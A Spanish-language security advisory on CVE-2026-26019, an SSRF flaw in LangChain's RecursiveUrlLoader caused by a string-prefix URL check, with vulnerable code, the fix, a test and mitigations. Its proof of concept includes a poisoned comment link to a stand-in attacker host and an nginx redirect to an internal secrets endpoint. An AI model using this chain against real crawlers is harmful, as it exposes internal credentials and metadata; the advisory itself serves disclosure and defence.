CVE-2026-26019: vulnerabilidad de Server-Side Request Forgery en RecursiveUrlLoader de LangChain
Análisis técnico de CVE-2026-26019, una vulnerabilidad de Server-Side Request Forgery de severidad media (CVSS 4.1) en el paquete LangChain Community para JavaScript (< 1.1.14). La clase RecursiveUrlLoader utiliza una comprobación ingenua de prefijo de cadena para validar las URL rastreadas, lo que permite a un atacante eludir la restricción preventOutside predeterminada con un dominio con sufijo y redirigir el rastreador a activos de la red interna, con la posible exposición de credenciales sensibles y endpoints de metadatos.
CVE-2026-26019
Vulnerabilidad de Server-Side Request Forgery en RecursiveUrlLoader de LangChain
11 de febrero de 2026 · CVSS 4.1 Media · Langchain Community < 1.1.14
| ID de CVE | CVSS | Afectadas | Corregidas |
|---|---|---|---|
| CVE-2026-26019 | 4.1 Media | < 1.1.14 | 1.1.14+ |
Resumen de CVE-2026-26019: SSRF en RecursiveUrlLoader de LangChain
El paquete @langchain/community proporciona una clase RecursiveUrlLoader que se utiliza para rastrear páginas web de forma recursiva y cargar su contenido como documentos para el procesamiento por LLM. Se descubrió una vulnerabilidad de Server-Side Request Forgery (SSRF) en la forma en que este cargador valida las URL secundarias frente a la URL base cuando el parámetro preventOutside está habilitado, que es la configuración predeterminada.
La causa raíz está en el uso del método String.startsWith() de JavaScript para validar las URL. Cuando preventOutside se establece en true, el cargador comprueba si cada enlace descubierto empieza por la cadena baseUrl. Esta comprobación ingenua de prefijo no tiene en cuenta los límites del dominio, de modo que una URL maliciosa como http[:]//example[.]com.evil.com supera la validación frente a una URL base de http[:]//example[.]com porque, técnicamente, la cadena empieza por el mismo prefijo.
Si un atacante puede inyectar un enlace en una página que se está rastreando (por ejemplo, mediante una sección de comentarios, contenido generado por los usuarios o una página comprometida), puede redirigir el rastreador a una infraestructura controlada por el atacante que, a su vez, puede redirigir a recursos de la red interna, con la consiguiente exposición de datos sensibles como claves de API, servicios de metadatos y endpoints internos.
SSRF en la validación de URL: coincidencia insegura de prefijos
El núcleo del problema es una comprobación insuficiente del origen de la URL. El cargador recorre todos los enlaces descubiertos en una página y aplica una simple comparación de prefijo de cadena para decidir si cada enlace está «dentro» del alcance de rastreo permitido. El siguiente fragmento de código muestra la lógica vulnerable:
for (const link of allLinks) {
if (invalidPrefixes.some((prefix) => link.startsWith(prefix)) || invalidSuffixes.some((suffix) => link.endsWith(suffix))) continue;
let standardizedLink;
if (link.startsWith("http")) standardizedLink = link;
else if (link.startsWith("//")) {
const base = new URL(baseUrl);
standardizedLink = base.protocol + link;
} else standardizedLink = new URL(link, baseUrl).href;
if (this.excludeDirs.some((exDir) => standardizedLink.startsWith(exDir))) continue;
if (link.startsWith("http")) {
const isAllowed = !this.preventOutside || link.startsWith(baseUrl); /* The critical check line */
if (isAllowed) absolutePaths.push(link);
} else if (link.startsWith("//")) {
const base = new URL(baseUrl);
bsolutePaths.push(base.protocol + link);
} else {
const newLink = new URL(link, baseUrl).href;
absolutePaths.push(newLink);
}
}
La línea crítica es la comprobación link.startsWith(baseUrl). Dado que startsWith() realiza una comparación de cadenas en bruto, la siguiente evasión resulta trivial:
// baseUrl = "http://docs.securecorp.com"
// Attacker link that passes the startsWith
check: "http://docs.securecorp.com.attacker-server.local/"
.startsWith("http://docs.securecorp.com") // => true
Prueba de concepto de CVE-2026-26019: SSRF hacia activos internos
La explotación de CVE-2026-26019 implica un proceso deliberado de tres etapas para aprovechar el fallo de validación de URL y lograr acceso a recursos de la red interna. Los siguientes pasos describen cómo un atacante pasa de una simple inyección de enlace a una explotación completa de SSRF.
Paso 1: inyección del enlace malicioso
El proceso comienza con un sitio de documentación legítimo que la aplicación vulnerable está rastreando. El atacante inyecta un enlace en contenido controlado por los usuarios de la página objetivo (por ejemplo, una sección de comentarios). La URL inyectada está diseñada para superar la validación de prefijo anteponiendo la URL base legítima al dominio del atacante:
<!DOCTYPE html>
<html>
<head><title>SecureCorp Documentation</title></head>
<body>
<h1>SecureCorp API Documentation</h1>
<p>Welcome to our documentation portal.</p>
<h2>REST API Reference</h2>
<a href="/api/v1.html">API v1</a>
<a href="/api/v2.html">API v2</a>
<hr>
<h2>Community Comments</h2>
<div class="comment">
<b>attacker_user</b>: Hey, I found a typo in the API docs!
Check out the corrected version here:
<a href="http://docs.securecorp.com.attacker-server.local/typo-fix">
Check this out!!
</a>
</div>
</body>
</html>
Paso 2: configuración de la redirección del atacante
El atacante configura su servidor para recibir la solicitud del rastreador y emitir una redirección 301 hacia un servicio interno. Este es el paso clave que convierte la evasión de SSRF en acceso a la infraestructura interna:
server {
listen 80;
server_name docs.securecorp.com.attacker-server.local;
# Step 1: Crawler lands here from the poisoned link
location /typo-fix {
# 301 Redirect to the internal metadata service
return 301 http://internal-secret/api/keys;
}
# Serve any other pages normally (to seem legit)
location / {
root /usr/share/nginx/html;
index index.html;
}
}
Paso 3: preparación del entorno de pruebas
Para reproducir el fallo se utiliza un entorno Docker controlado que ejecuta la versión vulnerable (@langchain/community v1.1.13). El entorno consta de cuatro servicios:
- legitimate-docs: el sitio de documentación que se rastrea, que contiene el enlace inyectado.
- attacker: el servidor nginx controlado por el atacante que emite la redirección.
- internal-secret: un servicio interno accesible únicamente a través de la aplicación web vulnerable. En la práctica, podría representar un servidor de bases de datos con defensas relajadas frente a la inyección SQL (porque confía en la red interna), un endpoint de metadatos en la nube como AWS IMDS, o puertos de servicios internos que están filtrados para el acceso externo pero son plenamente alcanzables desde la red de la aplicación.
- vulnerable: la aplicación web Node.js que utiliza RecursiveUrlLoader.
$ tree .
.
├── attacker # attacker controlled server
│ ├── index.html
│ └── nginx.conf
├── docker-compose.yml
├── internal # internal server accessible only through the vulnrable application
│ ├── Dockerfile
│ └── server.py
├── legitimate-docs # the doc site to crawl by the vulnerable web app
│ ├── api
│ │ └── v1.html
│ └── index.html
└── vulnerable # the vulnerable web app server
├── app.mjs
├── Dockerfile
└── package.json
Un sencillo endpoint de Express activa el rastreo con preventOutside: true
app.get("/crawl", async (req, res) => {
const { url } = req.query;
if (!url) return res.status(400).json({ error: "url param required" });
console.log(`\n${"=".repeat(60)}`);
console.log(`[*] Crawl requested for: ${url}`);
console.log(`[*] prevent
Outside: true`);
console.log(`${"=".repeat(60)}`);
try {
const { RecursiveUrlLoader } = await import(
"@langchain/community/document_loaders/web/recursive_url"
);
const compiledConvert = compile({ wordwrap: false });
const loader = new RecursiveUrlLoader(url, {
maxDepth: 3,
preventOutside: true,
extractor: (html) => compiledConvert(html),
});
Paso 4: explotación y exfiltración de datos
Cuando se realiza la solicitud de rastreo contra el sitio de documentación legítimo, se ejecuta la siguiente cadena:
- Descubrimiento de enlaces: el rastreador analiza la página legítima y descubre todos los enlaces, incluida la URL inyectada por el atacante.
- Evasión de la validación: el enlace inyectado supera la comprobación startsWith() porque empieza por la cadena de la URL base.
- Cadena de redirección: el rastreador sigue el enlace hasta el servidor del atacante, que responde con una redirección 301 al servicio interno.
- Exposición de datos: el rastreador sigue la redirección y obtiene el recurso interno, devolviendo datos sensibles (claves de API, tokens, ARN) en los resultados del rastreo.

El atacante ha utilizado con éxito la vulnerabilidad SSRF para acceder a activos de la red interna y exfiltrar credenciales sensibles, todo ello mediante un único enlace inyectado en una página pública.
Cómo corregir CVE-2026-26019 en RecursiveUrlLoader de LangChain
La forma más eficaz de proteger su entorno es actualizar a la versión 1.1.14 o superior de @langchain/community. La corrección sustituye la ingenua comprobación de prefijo startsWith() por una comparación estricta de origen mediante la API URL.
Análisis del código corregido
La versión parcheada introduce una validación basada en el origen que aísla correctamente el límite del dominio e impide cualquier evasión mediante un dominio con sufijo:
// BEFORE (vulnerable): raw string prefix match const isAllowed = !this.preventOutside ||
link.startsWith(baseUrl);
// AFTER (fixed): strict origin comparison via URL API const
isAllowed = !this.preventOutside || new URL(link).origin === new URL(baseUrl).origin;
El siguiente caso de prueba de la versión parcheada demuestra la corrección:
test("blocks cross-origin URLs with preventOutside", async () => {
// The key test: verify that subdomain-based SSRF bypasses are blocked
const baseUrl = "https://example.com";
const maliciousUrl = "https://example.com.attacker.com";
// The old vulnerable code would have allowed this:
// "https://example.com.attacker.com".startsWith("https://example.com") === true
const vulnerableCheck = maliciousUrl.startsWith(baseUrl);
expect(vulnerableCheck).toBe(true); // vulnerable approach allows this
// But the fixed code should reject it:
// new URL(maliciousUrl).origin !== new URL(baseUrl).origin
const secureCheck =
new URL(maliciousUrl).origin === new URL(baseUrl).origin;
expect(secureCheck).toBe(false); // secure approach blocks this
});
Mitigación de CVE-2026-26019 y buenas prácticas
- Actualizar de inmediato: si utiliza @langchain/community para el rastreo web, asegúrese de estar en la versión 1.1.14 o superior.
- Validar orígenes, no prefijos: utilice siempre un análisis adecuado de las URL (por ejemplo, new URL(link).origin) en lugar de la coincidencia de prefijos de cadena al comparar dominios.
- Segmentación de red: asegúrese de que los servicios que realizan rastreo web no puedan alcanzar directamente los endpoints de metadatos internos ni la infraestructura sensible.
- Filtrado de salida: aplique listas de permitidos o de bloqueo en el nivel de red para restringir las solicitudes salientes de los servicios de rastreo a destinos conocidos como seguros.
- Saneamiento de entradas: sanee el contenido generado por los usuarios en las páginas que probablemente se rastreen, eliminando o validando los enlaces externos antes de mostrarlos.
Referencias
| Recurso | Enlace |
|---|---|
| Aviso de GitHub GHSA-gf3v-fwqg-4vh7 | https://github.com/advisories/GHSA-gf3v-fwqg-4vh7 |
| Cambios de la corrección de LangChain | https://github.com/langchain-ai/langchainjs/commit/d5e3db0d01ab321ec70a875805b2f74aefdadf9d |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-26019 |
| CWE-918 SSRF | https://cwe.mitre.org/data/definitions/918.html |